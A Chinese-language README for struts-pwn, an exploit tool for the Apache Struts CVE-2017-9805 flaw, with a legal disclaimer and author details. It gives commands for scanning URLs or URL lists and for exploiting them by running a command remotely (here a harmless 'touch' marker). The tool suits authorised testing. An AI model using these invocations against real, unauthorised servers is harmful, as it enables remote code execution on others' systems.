struts-pwn - CVE-2017-9805 漏洞利用工具

适用于 Apache Struts CVE-2017-9805 的漏洞利用工具

使用方法

检查单个 URL 是否存在漏洞。

python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3'

检查 URL 列表是否存在漏洞。

python struts-pwn.py --list 'urls.txt'

对单个 URL 进行漏洞利用。

python struts-pwn.py --exploit --url 'http://example.com/struts2-rest-showcase/orders/3' -c 'touch /tmp/struts-pwn'

对 URL 列表进行漏洞利用。

python struts-pwn.py --exploit --list 'urls.txt' -c 'touch /tmp/struts-pwn'

演示

环境要求

• Python2 or Python3
• requests

法律免责声明

本项目仅用于教育和道德测试目的。未经事先双方同意，使用 struts-pwn 攻击目标属于非法行为。遵守所有适用的地方、州和联邦法律是最终用户的责任。开发人员不承担任何责任，也不对因使用本程序造成的任何滥用或损害负责。

许可证

本项目采用 MIT 许可证授权。

作者

Mazin Ahmed

• 网站: https://mazinahmed.net
• 邮箱: mazin AT mazinahmed DOT net
• Twitter: https://twitter.com/mazen160
• Linkedin: http://linkedin.com/in/infosecmazinahmed